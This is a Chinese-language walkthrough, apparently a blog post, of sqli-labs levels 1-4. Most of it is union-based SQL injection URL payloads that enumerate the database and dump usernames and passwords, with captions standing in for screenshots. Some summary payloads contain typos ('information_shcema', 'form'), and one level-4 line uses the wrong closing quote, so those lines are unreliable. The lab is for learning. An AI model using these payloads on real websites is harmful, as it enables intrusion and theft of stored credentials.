文章目录



一、第1-2关:基于错误的字符串/数字型注入

1.?id=1 order by 4 --+
2.?id=-1 union select 1,2,3 --+
3.?id=-1 union select 1,database(),3 --+
4.?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第一关在之前学习:联合查询,以及示例因此从第二关开始记录。

其实第一关和第二关差别不大:闭合符合的差别。

判断注入点

sqli-labs闯关1-4总结_数据库

sqli-labs闯关1-4总结_表名_02

sqli-labs闯关1-4总结_字段_03

可以判断为数字型注入

确定属性列数目

使用​​?id=1 order by 数字 --+​​不断尝试数字最大值

sqli-labs闯关1-4总结_字符串_04

可以看到列数最大为三

确定回显属性

?id=-1 union select 1,2,3 --+

sqli-labs闯关1-4总结_数据库_05

回显属性为2,3

查找数据库

sqli-labs闯关1-4总结_字符串_06

看到数据库名:security

?id=-1 union select 1,database(),3 --+

查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_sql_07

获取列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_数据库_08

获取字段信息

?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_数据库_09

二、第三关

1.?id=1 ') order by 4 --+
2.?id=-1 ') union select 1,2,3 --+
3.?id=-1 ') union select 1,database(),3 --+
4.?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ') union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ') union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

本题与之前的题目的区别就在于闭合符号的不同这里使用:​​')​​来进行闭合。题目思路大概都差不多着重讲解一下起初如何判断

sqli-labs闯关1-4总结_字段_10

sqli-labs闯关1-4总结_字段_11

可以看到无论是 ​​and 1=1 --+​​还是​​and 1=2 --+​​回显正常

sqli-labs闯关1-4总结_字符串_12

但是当输入​​?id=1 ' --+​​则出现异常因此可以判断为字符类注入

当​​?id=1 ') --+​sqli-labs闯关1-4总结_数据库_13

页面正常这说明:是以 (’’)的方式闭合字符串的

接下来便与1-2关无大差异,我们来看一下如何解题

确定属性列数目

?id=1') order by 4 --+

sqli-labs闯关1-4总结_表名_14

判断列数为3

确定回显属性

?id=-1') union select 1,2,3 --+

sqli-labs闯关1-4总结_表名_15

获取库名

?id=-1') union select 1,database(),3 --+

sqli-labs闯关1-4总结_字段_16

获取表名

?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_sql_17

获取列名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_表名_18

获取字段信息

?id=-1' )union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_表名_19

三、第四关

1.?id=1 ") order by 4 --+
2.?id=-1 ") union select 1,2,3 --+
3.?id=-1 ") union select 1,database(),3 --+
4.?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ") union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第四关与第三关的区别就在于注入的字符类型在这里是:​​("")​​进行闭合,接下来就开始吧。

判断注入点

大体上与第三关无差,当发现注入类型不是整型注入,进行字符类型判断

当输入​​?id=1" --+​​时会发现出现错误sqli-labs闯关1-4总结_数据库_20

因此使用:​​?id=1 ")--+​​进行闭合

sqli-labs闯关1-4总结_字符串_21

显示正常,接下来开始操作

确定属性列数目

?id=1') order by 4 --+

sqli-labs闯关1-4总结_数据库_22

列数为3

确定回显属性

?id=-1 ") union select 1,2,3  --+

sqli-labs闯关1-4总结_表名_23

获取库名

?id=-1 ") union select 1,database(),3 --+

sqli-labs闯关1-4总结_字段_24

库名为:security

获取表名

?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_字符串_25

获取列名

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_数据库_26

获取字段信息

?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_数据库_27